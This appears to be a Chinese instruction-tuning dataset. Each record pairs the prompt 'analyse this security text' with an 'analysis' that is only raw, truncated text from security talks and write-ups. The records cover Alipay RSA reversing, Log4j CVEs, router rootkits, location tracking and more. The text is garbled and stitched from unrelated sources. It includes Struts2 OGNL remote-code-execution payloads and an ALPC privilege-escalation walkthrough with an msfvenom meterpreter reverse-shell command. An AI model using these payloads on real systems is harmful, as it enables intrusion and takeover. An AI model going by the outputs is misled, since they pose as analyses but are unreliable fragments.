e.alipayEncrypt(2,i,t)传过来的所以只需要 return e.alipayEncrypt(2,i,t) n --> e .alipayEncrypt() e --> new s.RSA s -- > ? 先跟进下s.rsa 可以知道s.RSA是个function 跟进s.RSA发现来到了Wi 法名字不样的原因可能是在 上的代码重新赋值了名字不过不重要发现这个法是规定key_size和exponent的 回到getpassword找到加密法e .alipayEncrypt() 发现也是Wi接着发现Wi是从 Gi过来 的.....这种情况下发现加密法和其他js代码在同个js内有万代码的只能费时间选择 性的扣有代码了 回到getPassword法附近找到s是怎么来的在4971找到s = security_crypto_200_index 这时候搜索security_crypto_200_index 把js法扣下来 security_crypto_200_index内容是键值对我们只需要s.RSA也就是 security_crypto_200_lib_rsa security_crypto_200_index = function(t) { return t = { Base64: security_crypto_200_lib_base64, xor: security_crypto_200_lib_xor, RSA: security_crypto_200_lib_rsa } }() 通过crtl+f 搜索相关信息可以找到security_crypto_200_lib_rsa开头结尾这个就是Wi了具 体在哪判断和调试了概为下内容 security_crypto_200_lib_rsa = function(t) { function e(t, e, i) { null != t && (\"number\" == typeof t ? this.fromNumber(t, e, i) : null == e && \"str } ********* ************ ************** **************** return this.key }, Wi.prototype.getPrivateKey = function() { return this.getKey().getPrivateKey() }, Wi.prototype.getPrivateKeyB64 = function() { return this.getKey().getPrivateBaseKeyB64() }, Wi.prototype.getPublicKey = function() { return this.getKey().getPublicKey() }, Wi.prototype.getPublicKeyB64 = function() { return this.getKey().getPublicBaseKeyB64() }, t = Wi }() 根据所需要的法 在不考虑i 变动的情况下调代码剩下的就是和s.RSA样的步骤扣出是 s.Base64 了 function getPassword(pwd) { var s = security_crypto_200_lib_rsa; var e = new s; //var i = security_crypto_200_lib_base64; //s.decode(options.TS); e.setPublicKey(\"MI", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Log4j --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- > 项目地址 : https://github.com/apache/logging-log4j2 **相关文章** - [Log4j2系列漏洞分析汇总](https://mp.weixin.qq.com/s/0sqTEQwOZ-TJeqpq-ExWTg) --- ## CVE-2019-17571 log4j<=1.2.17反序列化漏洞 **相关文章** - [log4j<=1.2.17反序列化漏洞CVE-2019-17571分析](https://mp.weixin.qq.com/s/RLvvzKbBwKp-War98pvn9w) --- ## CVE-2021-44228 **描述** 由于 Apache Log4j2 lookup 功能存在递归解析功能攻击者可直接构造恶意请求当程序将用户输入的数据进行日志记录时, 需进特殊配置即可触发远程代码执 Apache Struts2Apache SolrApache DruidApache Flink 等众多组件与大型应用均受影响 **影响范围** - Apache Log4j 2.x < 2.15.0-rc2 - [VMware 多个产品 Log4j2 RCE](https://mp.weixin.qq.com/s/ThSxC22JsrRE50N21WR24Q) - [YfryTchsGD/Log4jAttackSurface](https://github.com/YfryTchsGD/Log4jAttackSurface) - https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 **相关文章** - [Log4j2 RCE分析](https://mp.weixin.qq.com/s/kLuPx0zXRIl6y1ds6n5e_w) - [甲方需谨慎对待log4shell漏洞的修复](https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA) - [CVE-2021-44228 log4j2 回显操作](https://www.o2oxy.cn/3893.html) - [一洞一世界一大一团灭翻车的log4j2](https://mp.weixin.qq.com/s/-SV45eVKjCBDDftLC3Pf4Q) - [Apache Log4j2从RCE到RC1绕过](https://mp.weixin.qq.com/s/8lvpSetHUpCCL5IRcvdTCw) - [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package](https://www.lunasec.io/docs/blog/log4j-zero-day/) - [log4j 漏洞一些特殊的利用方式](https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg) - [整理log4j bypass](https://mp.weixin.qq.com/s/Rd8-Atvyaac93ak4Iz8HTQ) - [从零到一带你深入 log4j2 Jndi RCE CVE-2021-44228漏洞](https://mp.weixin.qq.com/s/4MP0WVDOT5YhpOJ5KkGxYw) - [Log4j和它的小伙伴们](https://mp.weixin.qq.com/s/VGMxrw8HD2ZbQHpyL-V_nQ) - [Log4j2 研究之lookup](https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg) - [Log4j2 0day 攻击面分析](https://mp.weixin.qq.com/s/-HJ6BqyAsSYpV3_X0ItC2w) - https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md **修复方案** - 设置系统环境变量 LOG4J_log4j2_formatMsgNoLookups=True - 升级 Apache Log4j2 所有相关应用到最新版本地址 https://github.com/apache/logging-log4j2/tags - [Cybereason/Logout4Shell](ht", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 Copyright 2010, National Security Corporation, all rights reserved DEFCON XVIII DEFCON XVIII DEFCON XVIII Tales from the Crypto G. Mark Hardy, CISM, CISA, CISSP National Security Corporation gmhardy@nationalsecurity.com +1 410.933.9333 @g_mark Copyright 2010, National Security Corporation, all rights reserved 2 DEFCON XVIII DEFCON XVIII DEFCON XVIII Which Would You Like to Hear? Stories you can look up in the library? Ways you can win crypto contests? Copyright 2010, National Security Corporation, all rights reserved 3 DEFCON XVIII DEFCON XVIII DEFCON XVIII Stories I Can Tell You (over a beer ) Life or death by crypto Military crypto Military use before WWII Military ciphers of WWII American ciphers Japanese ciphers German ciphers Commercial crypto Early days of crypto Banking security eCommerce Copyright 2010, National Security Corporation, all rights reserved 4 DEFCON XVIII DEFCON XVIII DEFCON XVIII Some Basics: Types of Ciphers Transposition ciphers Also known as permutation ciphers Substitution ciphers Stream ciphers Block ciphers Product and exponentiation ciphers (advanced; wont cover here) Copyright 2010, National Security Corporation, all rights reserved 5 DEFCON XVIII DEFCON XVIII DEFCON XVIII Transposition Ciphers 1 2 3 4 A T T A C K A T D A W N ATTACK AT DAWN KEY = {1,2,3,4} KEY = {2,4,3,1} ACD TKATAW ATN TKA ATNTAW ACD Copyright 2010, National Security Corporation, all rights reserved 6 DEFCON XVIII DEFCON XVIII DEFCON XVIII Substitution Cipher Caesar Cipher A B C D E F G H I J K L M N O P Q R S T U V W X Y Z D E F G H I J K L M N O P Q R S T U V W X Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z D E F G H I J K L M N O P Q R S T U V W X Y Z A B C ATTACK AT DAWN DWWDFN DW GDZQ Copyright 2010, National Security Corporation, all rights reserved 7 DEFCON XVIII DEFCON XVIII DEFCON XVIII Substitution Cipher Vigenère Cipher A B C D E F G H I J K L M N O P Q R S T U V W X Y Z A B C D E F G H I J K L M N O P Q R S T U V W ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1SDL 28Web 3RedHatApacheAmazonWeblogicRCE Weblogic 42015PyconPython2016 VIP2017Java Json ;2018Java PART 01 CONTENTS PART 02 PART 03 PART 04 01 02 03 04 PART 01 1 2 3 1SecurityManager 2 3 SecurityManager PART 02 SecurityMemberAccess 1 2isAccessible 3 struts-default.xml Struts2 S2-001 S2-014 S2-032 S2-045 S2-057 (#p=new java.lang.ProcessBuilder('calc')).(#p.start()) (#_memberAccess['allowStaticMethodAccess']=true) .(@java.lang.Runtime@getRuntime().exec('calc')) (#container=#context['com.opensymphony.xwork2.ActionContext.container']).( #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@ class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.cle ar()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_AC CESS)).(@java.lang.Runtime@getRuntime().exec('calc')) (#_memberAccess=@ognl.OgnlContext@DEFAULT_ MEMBER_ACCESS).(@java.lang.Runtime@getRuntim e().exec('calc')) S2-045 PAYLOAD ${ (#c=#request['struts.valueStack'].context). (#container=#c['com.opensymphony.xwork2.ActionContext.container'] ). (#o=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUt il@class)). ((#o.getExcludedClasses().clear())). (#o.getExcludedPackageNames().clear()). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#c.setMemberAccess(#dm)).(#cmd=({'calc'})). (new java.lang.ProcessBuilder(#cmd)).start() } S2-057 PAYLOAD public class OgnlContext extends Object implements Map { public static final String CONTEXT_CONTEXT_KEY = \"context\"; public static final String ROOT_CONTEXT_KEY = \"root\"; public static fi", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# LeCrypto (crypto 250) ###ENG [PL](#pl-version) In the task we get the code: ```python #!/usr/bin/env python from random import SystemRandom import hashlib import copy_reg, types class RC4: def __init__(self, message, password): self.state = [None] * 256 self.p = None self.q = None self.message = message self.password = [ord(c) for c in password] self.setKey() def setKey(self): key = self.password self.state = [n for n in range(256)] self.p = self.q = j = 0 for i in range(256): if len(key) > 0: j = (j + self.state[i] + key[i % len(key)]) % 256 else: j = (j + self.state[i]) % 256 self.state[i], self.state[j] = self.state[j], self.state[i] def byteGenerator(self): self.p = (self.p + 1) % 256 self.q = (self.q + self.state[self.p]) % 256 self.state[self.p], self.state[self.q] = self.state[self.q], self.state[self.p] return self.state[(self.state[self.p] + self.state[self.q]) % 256] def encrypt(self): return [ord(p) self.byteGenerator() for p in self.message] def decrypt(self): return \"\".join([chr(c self.byteGenerator()) for c in self.message]) def _pickle_method(m): if m.im_self is None: return getattr, (m.im_class, m.im_func.func_name) else: return getattr, (m.im_self, m.im_func.func_name) copy_reg.pickle(types.MethodType, _pickle_method) def getRC4From(password, s=\"\", debug=True): if (len(s) == 0): cg = SystemRandom() s = \"\".join([unichr(cg.randrange(32, 126)) for i in range(16)]) h0 = hashlib.md5(password.encode('utf-8')).hexdigest() md5t = \"\".join([unichr(ord(c)) for c in h0[:10]]) # ib = 16 * (md5t + s) h1 = hashlib.md5(ib.encode('utf-8')).hexdigest() h1th = h1[:8] + \"00\" * 4 print(\"h1th \", h1th) hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() return [s, hf] def encrypt(text, password): crypter = RC4(text, password) enc = crypter.encrypt() enc = \"\".join([unichr(c) for c in enc]) return enc def leCrypt(text, password, debug=False): theH = {'s': '', 'v': '', 'vH': ''} cg = SystemRandom() v = \"\".join([unichr(cg.randrange(32, 126)) for i in range(16)]) # 16 bytes", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# ALPC bug 0day https://github.com/SandboxEscaper/randomrepo/blob/master/PoCLPE.rar https://www.theregister.co.uk/2018/08/28/windows_0day_pops_up_out_of_span_classstrikenowherespan_twitter/ ## 用法 @sandboxescaper8月28号在推特上发布了Windows的本地版权0day然后被很快的撤回PoC在Github上然后我验证了一下是不是真的确实如此 - 以管理员身份打开Process Explorer - 右键单击以管理员身份运行 ``` https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer ``` - 作为普通用户启动记事本如果从cmd打开它则会在cmd中获得一个子进程此进程使用启动它的用户上下文运行 - PID是3872 - 如果需要在Process Explorer中查看用户名和完整性级别可以转到`查看` - >`选择列`并进行检查. 现在看一下spoolsv.exe进程 使用之前产生的`PID 3872` 再次在Process Explorer中查看spoolsv Bhamconhost和notepad的子进程cmd.exe是SYSTEM权限 ## windows10运行成功 在Windows 10 1803上确认0day priv esc.MS尚未发布补丁28.08.2018 可能会打开一个实际的system权限的cmd窗口 @plaintextg跟我在`session 0`中产生了进程这就是为什么用户看不到会话1中的操作如果在ProcExplorer的面板中切换Session你可以非常清楚地看到 ## Windows Server 2016 测试成功 ## windows7 测试失败 ## 自动化攻击 阅读完源代码后记事本是从添加的资源中启动的这可以在源代码的101-105行看到exploit.dll ``` //Payload is included as a resource, you need to modify this resource accordingly. HRSRC myResource = ::FindResource(mod, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); unsigned int myResourceSize = ::SizeofResource(mod, myResource); HGLOBAL myResourceData = ::LoadResource(mod, myResource); void* pMyBinaryData = ::LockResource(myResourceData); ``` 点击那个我们可以看到这个exploit.dll在PoC中产生记事本无法读取因为没有在绝对路径中 因此我没有重新编译和修复visual studio的500个错误而是决定使用[CFF Explorer ](https://ntcore.com/?page_id=388) 直接替换dll作为资源更容易这样干之前必须准备好payload ``` msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.16 lport=444 -f dll -o lol.dll ``` 在CFF Explorer中选择Replace Resourceraw然后将`lol.dllALPC-TaskSched-LPE.dll `另存为新文件整个漏洞利用现已嵌入到dll文件中. 所以我们再次触发漏洞等shell弹回来 getshell", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n启明星辰辰ADLab 智能语音设备安全研究 演讲人王启泽 2019 PART 01 背景 目录 CONTENTS PART 02 网络安全 PART 03 语音安全 PART 04 隐私审计 01 02 03 04 PART 01 背景 语音正成为人与设备交互的方式 语音包括相当丰富的信息 性别.年年龄 环境.健康 想法.情绪 籍贯 我们研究的对象 我们关注的点 安全及隐私 PART 02 网络安全 音箱网络架构 云平台 客户端 智能音箱 https/mqtts https/mqtts dlna/蓝牙 智能设备 自定协议 云平台的特权命令 /打开远程shell /更更换语音云服务地址 /system(*) 智能音箱 云平台 客户端 伪造特权命令 智能音箱攻击演示-特权命令 智能音箱攻击演示-设备间通信 当房间里里存在多个音箱时 多个音箱之间需要协商 决定由哪个音箱来响应用户的语音命令 多音箱场景 能量量列列表里里最大的IP 接受语音命令 伪造语音广播 能量量99.00 IP192.168.1.2 攻击者IP192.168.1.3 目标音箱IP192.168.1.2 多音箱场景 设备广播 智能音箱 伪电视 设备伪造 访问设备网址确认设备是目标设备 我要看成龙的电影 我要看成龙的电影 智能音箱 伪电视 设备伪造 漏漏洞洞列列表 漏漏洞洞编号 危害 CNVD-2019-13611CNVD-2019-06254 CNVD-2019-05625CNVD-2019-05626 远程命令执行行远程代码执行行 CNVD-2019-07688CNVD-2019-15526 播放恶意音频 CNVD-2019-12111CNVD-2019-13278 敏敏感信息泄漏漏 CNVD-2019-12775 语音窃听 PART 03 语音及内容安全 语音安全 语音唤醒/声纹识别 声音传播 语音识别/语义理理解 内容 超声波 超声波攻击 听不不到 识别 次声波 人耳可听声 超声波 20hz 20Khz 超声波攻击-演示 1. 笔记本电脑喇喇叭性能的提升 使得攻击者无需额外硬件即 可发出超声波信号 2. 新型的智能手机依然存在问 题 1.基于韵母的攻击 语音识别攻击-基于发音模型的攻击 每个汉字的发音都是由声母韵母两部分构成的 声母部分发音时间短,信号变化剧烈烈; 而韵母部分发音时间长是声带共鸣产生携带了了音节的大部分能量量 韵母是由元音或元音加辅音组成 某唤醒词算法主要根据元音来判断 1.上海海同学(shang hai tong xue) 2.小爱同学(xiao ai tong xue) 唤醒词识别攻击示意 小爱同学 上海海同学 唤醒词识别攻击-演示 声纹识别 语音VAD 声纹数据 库 语音VAD 特征提取算法 有效语音提取 有效语音提取 声纹特征提取 声纹特征提取 特征比对 模式比对算法 声纹录入 声纹识别 常见的声纹算法攻击 拼接合成攻击 样本攻击 持续语速变化攻击 端到端攻击 录音攻击 (D1+D2+D3+D8)/8 (80+80+80+40+40+40+40+40)/8=55 声纹识别攻击-声纹比对算法 黑客声音 声纹验证 执行行 语音命令 声音识别算法攻击-声纹比对算法 声纹识别没有错误次数限制 持续变化语速导致评分标准浮动大 中性的声音得分较高 声纹识别算法-攻击演示 语音命令 敏敏感词 内容安全 获取应答内容 文字转语音 播放 语义识别 内容安全-攻击演示 语音命令 中英文敏敏感 词 内容安全 获取应答内容 文字转语音 播放 语义识别 中英文敏敏感 词 PART 04 隐私审计 隐私权 权利利 内容 用户有权力力决定 哪些他本人的信息可以被收集什什么时候收 集什什么地点收集 用户有权力力了了解和决定 这些数据是如何被收集的这些数据将对谁共 享为什什么要对他人分享如何对他人分享 语音设备使用场景的隐私泄露露 阶段 敏敏感信息 设备注册阶段 地理理位置周边WIfi信息路路由器器 MAC地址WI-FI密码已安装应用 情况短/彩信 设备使用阶段 音频信息通信录设备使用情况 业务的使用情况日志 音视频信 息标号 几种常见的隐私风险 问题点 危害 误唤醒 泄漏漏通话内容 APP权限 泄漏漏通信录等敏敏感信息 日志收集 泄漏漏Wifi密码等信息 API接口 合作厂家可以获得非业务需要的敏敏感 信息 明文通信 泄漏漏用户账户及密码等信息 总结 物物间通信场景更更多 声纹识别算法 公众对隐私的关注度越来越高 需要关注设备间认证的安全 大多商用算法还不不成熟 需要关注设备及数据的隐私保护 感谢 ADLab小伙伴 KCon组委会 谢谢观看 演讲人王启泽 Emailwang_qize@venustech.com.cn", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCopyright 2012 Virtual Security Research, LLC. All Rights Reserved. Owning the Network: Adventures in Router Rootkits Michael Coppola Copyright 2012 Virtual Security Research, LLC. All Rights Reserved. Who am I? Security Consultant at Virtual Security Research in Boston, MA (we're hiring!) Student at Northeastern University Did some stuff, won some CTFs http://poppopret.org/ Copyright 2012 Virtual Security Research, LLC. All Rights Reserved. How did this all start? .npk packages on MikroTik routers Install new features SOCKS proxy VPN IPv6 support XEN/KVM virtualization Potentially get a shell? Copyright 2012 Virtual Security Research, LLC. All Rights Reserved. Router Firmware Upgrade Feature Copyright 2012 Virtual Security Research, LLC. All Rights Reserved. The Big Question Copyright 2012 Virtual Security Research, LLC. All Rights Reserved. Can a universal process be developed to modify SOHO router firmware images to deploy malicious code without altering the interface or functionality of the device? Copyright 2012 Virtual Security Research, LLC. All Rights Reserved. Can a universal process be developed to modify SOHO router firmware images to deploy malicious code without altering the interface or functionality of the device? ...a rootkit of sorts? Copyright 2012 Virtual Security Research, LLC. All Rights Reserved. Intentions Share my personal experience pursuing the topic and the challenges encountered Gain better insight into router internals Release some code Pop some shells Pwn some devices Copyright 2012 Virtual Security Research, LLC. All Rights Reserved. Prior Work OpenWRT/DD-WRT Custom firmware, reverse engineering, hardware / firmware profiling firmware-mod-kit De/reconstruction of firmware images devttys0.com Firmware modding, reverse engineering, and exploitation Copyright 2012 Virtual Security Research, LLC. All Rights Reserved. Use Cases Default/weak credentials on admin panel RCE/auth bypass vulnerability CSRF file upload Copyright ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Race Condition > Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language. ## Summary - [Race Condition](#race-condition) - [Summary](#summary) - [Tools](#tools) - [Turbo Intruder Examples](#turbo-intruder-examples) - [Turbo Intruder 2 Requests Examples](#turbo-intruder-2-requests-examples) - [References](#references) ## Tools * [Turbo Intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.](https://github.com/PortSwigger/turbo-intruder) ## Turbo Intruder Examples 1. Send request to turbo intruder 2. Use this python code as a payload of the turbo intruder ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=30, pipeline=False ) for i in range(30): engine.queue(target.req, i) engine.queue(target.req, target.baseInput, gate='race1') engine.start(timeout=5) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` 3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder 4. Click \"Attack\" ## Turbo Intruder 2 Requests Examples This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds. ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False ) request1 = ''' POST /target-URI-1 HTTP/1.1 Host: Cookie: session= parameterName=parameterValue ''' request2 = ''' GET /target-URI-2 HTTP/1.1 Host: Cookie: session= ''' engine.queue(request1, gate='ra", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe Cavalry Isnt Coming Starting the Revolution to FSCK it all! Nicholas J. Percoco & Joshua Corman @c7five @joshcorman Introductions Introductions @c7five Introductions @c7five @joshcorman Backwards & Forward Ive Had Dreams Ive Had Dreams Nightmares Dangerous Precedents Hitting Rock Bottom Hitting Rock Bottom The Value of Uncomfortable Experimentation Uncomfortable Experimentation Radically Chain of Influence Chain of Influence Fuzzing the Hacking Our Future Hacking Our Future Hacking Our Future Hacking Our Future If We Can Hack [X], We Can Hack This. Hacking Our Future If We Can Hack [X], We Can Hack This. Jailbreaking the System Hacking Our Future If We Can Hack [X], We Can Hack This. Jailbreaking the System Best Social Engineers on the Planet Hacking Our Future If We Can Hack [X], We Can Hack This. Jailbreaking the System Best Social Engineers on the Planet Where Do We Start? 3 Planks of a Platform 3 Planks of a Platform 3 Planks of a Platform Public Good/Safety 3 Planks of a Platform Public Good/Safety Preservation of Security Research 3 Planks of a Platform Public Good/Safety Preservation of Security Research Preservation of Civil Liberties 3 Planks of a Platform 3 Planks of a Platform Body - Public Good/Safety 3 Planks of a Platform Body - Public Good/Safety Mind - Security Research 3 Planks of a Platform Body - Public Good/Safety Mind - Security Research Soul - Civil Liberties Next Steps Next Steps Next Steps 1. Name the Movement - Help us! Next Steps 1. Name the Movement - Help us! 2. Form a Executive & Advisory Boards Next Steps 1. Name the Movement - Help us! 2. Form a Executive & Advisory Boards 3. Hold a Constitutional Congress Next Steps 1. Name the Movement - Help us! 2. Form a Executive & Advisory Boards 3. Hold a Constitutional Congress 4. Share Results Next Steps 1. Name the Movement - Help us! 2. Form a Executive & Advisory Boards 3. Hold a Constitutional Congress 4. Share Results 5. Execute Projects The Cavalry Isnt Coming Y", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPwn2Own Qualcomm cDSP Slava Makkaveev What processors are on your mobile phone? modem DSP (mDSP/baseband) audio DSP (aDSP) compute DSP (cDSP) sensor DSP (sDSP) Kryo CPU (Android) Adreno GPU Wireless modem Hexagon DSP Spectra ISP Snapdragon SoC DSP assignment Low-power processing of audio and voice data Computer vision tasks Machine learning-related calculations Camera streaming Artificial intelligence ... Snapdragon 855 (SM8150): - Google Pixel 4 - Samsung S10 - Xiaomi Mi9 Snapdragon 835 (MSM8998): - Samsung S8 - OnePlus 5 - Sony Xperia XZ Premium aDSP is responsible for everything Tasks are distributed between aDSP and cDSP Communication between the CPU and DSP FastRPC mechanism (AP side) Android application libXXX_stub.so libadsprpc.so libcdsprpc.so /dev/adsprpc-smd /dev/cdsprpc-smd ioctl FastRPC mechanism (DSP side) fastrpc_shell_0 fastrpc_shell_3 libXXX_skel.so libXXX.so Who can run their own code on DSP? DSP is licensed for programming by OEMs The code running on the DSP is signed by Qualcomm Android app has no permissions to execute its own code on the DSP Only prebuilt DSP libraries could be freely invoked Hexagon SDK is publically available Stub and skel code will be generated automatically Can I compile my own DSP library? Yes Can I execute this library on DSP? No Who manages the DSP? ELF 32-bit executable, Qualcomm DSP6 User PD Unsigned PD Guest OS PD Kernel PD QuRT OS /vendor/firmware/adsp /vendor/firmware/cdsp /dsp/* /vendor/dsp/* /vendor/lib/rfsa/adsp/* Fastrpc shell ELFs Dozens of skeleton and object libraries Skipping stub code from the FastRPC flow int remote_handle_open( const char* name, remote_handle *ph ) int remote_handle_invoke( remote_handle h, uint32_t scalars, remote_arg *pra ) We cannot sign a skeleton library, but we can execute a signed one Android application can bring any signed skeleton library and run it on the DSP Downgrade vulnerability CVE-2020-11209 There is no version check of loading skeleton libraries There are n", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPractical Foxhunting 101 Adam Wirth - SimonJ @SimonJ_DC Overview About me About Foxhunting Equipment Overview & Selection Preparation Techniques 2 Who Am I? More than 15 years professional experience as a software & systems engineer Most of my career has been spent working on wireless communications & emitter geolocation systems Last years winner of the Hide & Seek and Foxhunt events in the Wireless Pentathlon 3 What is Foxhunting? Finding the physical location of wireless emitters and/or their users, by measuring received power from different locations Foxhunting is between the \"last mile\" and the last feet; for greater or lesser distances, other techniques are more appropriate Wet-work ninjas finding the correct bedroom in the house of the South American populist government official Tracking the Corporate Exec whose iPhone you've trojaned into an access point, as part of a Red Team penetration test DEFCON 22 Wireless CTF Techniques are applicable to all RF emitters, like mobiles phones, WiFi APs, heart monitors, etc. 4 What Equipments Involved? Antennas Omnidirectional and directional, for different purposes Radios Capable of receiving the signal-of-interest Software-defined radios are finally becoming affordable Visualization Software Most important feature is viewing received power over time 5 Gear Selection: Antennas 6 Photo courtesy of NASA Aperture Versus Gain As a rule, the more sensitive the antenna, the more focused (directional) its reception pattern Too much gain can be a bad thing High gain requires accurate pointing Power curve follows the Inverse-Square Law Unless you can attenuate your gain, you lose range discrimination when youre close to an emitter 7 Omnidirectional Antennas Typically have a toroidal radiation pattern Gain varies inversely with z-axis directionality For foxhunting, high gain is good Provides greater detection distance Allows some degree of attenuation by varying orientation 8 Directional Antennas There ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nI Know Where You Are: 基于LBSN APP的地理位置追踪 2015年9月1日 赵 双(DFlower) 羅夏樸(Xiapu Luo) 1 Who AM I 赵双 DFlower, dflower.zs@gmail.com Insight-Labs Team 成员 (http://insight-labs.org) 研究领域漏洞挖掘恶意代码分析手机安全 0day安全软件漏洞分析技术(第2版)作者之一 OWASP China 2010 Xcon 2011 Speaker 羅夏樸 (Xiapu Luo, luoxiapu@gmail.com) RAP in HKPolyU 研究領域手機安全網絡安全 Papers published in major security conferences (e.g., NDSS, BlackHat, Defcon, etc.) 2 目录 LBSN APP 介绍 基于LBSN APP进行地理位置追踪 实例: 追踪全北京新浪微博用户的地理位置 给APP厂商的建议 3 LBSN APPs LBSN: Location-based Social Network基于位置的 社交网络 很多LBSN APP具有发现附近的人(Nearby)功能 微信 Wechat 米聊 Mitalk 陌陌 Momo 新浪微博 Weibo 4 LBSN APPs 很多LBSN APP具有发现附近的人(Nearby)功能 SKOUT SayHi Badoo LOVOO 5 LBSN APPs 很多LBSN APP具有发现附近的人(Nearby)功能 当用户使用Nearby功能时 上传自己位置信息 寻找自己所处位置周边的陌生人 允许其他人在一定时间内发现自己 User Server Database t t search people in database save user1s location User1 searches people nearby User1 is found by user2 User1 is not found by user3 save user2s location User2 searches people nearby Save user3s location User3 searches people nearby search people in database search people in database Result 6 目录 LBSN APP 介绍 基于LBSN APP进行地理位置追踪 数据发送 数据获取 数据挖掘 DEMO: Mitalk, Wechat, Weibo 实例: 追踪全北京新浪微博用户的地理位置 给APP厂商的建议 7 如何基于LBSN APP进行位置追踪 1. 数据发送 登录APP并在不同的地理位置搜索附近的人 2. 数据获取 获得时间地点人数据集 3. 数据挖掘 数据集信息足够多的情况下可对目标的日常活动范围和轨迹 进行追踪 8 数据发送 针对不同类型的APP采用不同的数据发送方式 1. 构造数据包 2. 模拟器仿真 APP信息 数据安全性 利用难度 APP Googlepl ay下载量 (million) 360电子市 场下载量 (million) 位置精确 度( APP中) 数据传输方式 爬取APP位置数据方式 利用难度 Weibo 5-10 456 100m 明文 构造数据包 低 MeetMe 10-50 0.001 100m 明文 构造数据包 低 Skout 10-50 0.06 1000m 明文 构造数据包 低 SayHi 10-50 0.04 100m 明文 构造数据包 低 Badoo 50-100 0.07 1000m SSL单向认证 参数不明 构造数据包 模拟器仿真 ? Momo 1-5 168 10m SSL单向认证 构造数据包 低 Mitalk 0.5-1 17 100m 带加密参数的明文 破解加密参数&构造数据包 模拟器仿真 高 LOVOO 10-50 0.001 0.1mile SSL单向认证带 加密参数 破解加密参数&构造数据包 模拟器仿真 高 Wechat 100-500 455 100m SSL双向认证 替换证书&构造数据包 模拟器仿真 高 9 1. 数据发送 1. APP数据明文传输 典型APPWeiboMeetmeSayHi, Skout 方式构造并发送包含特定地理位置的数据包获取该位置附近的人 Weibo Meetme SayHi Skout 10 1. 数据发送 2. APP数据采用HTTPS传输SSL单向认证 典型APPMomo 20", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nRaspberry MoCA: an Automated Penetration Platform Andrew Hunt Volgeneau School of Engineering, George Mason University Fairfax, VA ahunt5@masonlive.gmu.edu Abstract Media Over Coaxial Alliance (MoCA) is a protocol encapsulating Ethernet protocols over coaxial cabling common to interior television wiring. Previous work discussed the vulnerabilities presented by common implementations of the protocol. In this paper, these vulnerabilities are realized with the development of Raspberry MoCA, an embedded device that provides a drop-in, automated exploitation kit which can be installed outside the target structure in less than five minutes, providing remote access and complete control over the connecting LAN. I. INTRODUCTION Prior work on Media over Coaxial Alliance (MoCA) protocol analysis revealed a major vulnerability in common implementations [1]. The logical separation between the local area network (LAN) and wide area network (WAN) is defeated by the use of a single physical cable to transmit both signals. Most operational service providers (OSPs), such as Verizon and Cox, present the termination point of their services to the optical network terminator (ONT) attached to the exterior of the serviced building for easy maintenance. This unit converts the signal to a coaxial cable, using the MoCA protocol to encapsulate the Ethernet packets to a receiving MoCA bridge embedded in the providers provided network router within the building. The router binds both MoCA LAN services for video devices and MoCA WAN services from the OSP to the same cable wiring used within the structure. It also bridges the MoCA LAN to the other LAN networks wireless and Ethernet devices. Because the WAN signal runs on the cable, it is necessary to run this coaxial cable outside to the ONT. When this occurs, the LAN signal is also exposed, as depicted in Figure 1. This presents a physical attack vector to any attacker willing to disconnect the ONT and insert a coaxial splitter to an attached M", "category": "text_analysis", "source": "security_papers"} 